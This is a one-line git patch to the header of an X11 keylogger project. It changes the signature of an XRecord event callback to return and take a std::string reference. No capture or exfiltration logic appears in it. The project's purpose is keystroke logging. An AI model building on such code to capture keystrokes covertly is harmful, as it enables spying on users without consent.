From f2c17b35a69d0969f3596a35f36ad92a27303b08 Mon Sep 17 00:00:00 2001 From: Vianney Bouchaud Date: Thu, 6 Oct 2011 20:56:44 +0300 Subject: Editing eventCallback in using std::string solv. --- includes/Keylogger.hpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/includes/Keylogger.hpp b/includes/Keylogger.hpp index 91f5a71..122b552 100644 --- a/includes/Keylogger.hpp +++ b/includes/Keylogger.hpp @@ -65,7 +65,7 @@ private: XRecordContext recContext; void setupRecordExtension(); - static std::string eventCallback(XPointer priv, XRecordInterceptData *hook); + static std::string &eventCallback(XPointer priv, XRecordInterceptData *hook, std::string&); }; #endif /* !__KEYLOGGER_HH__ */ -- cgit v1.2.3-24-g4f1b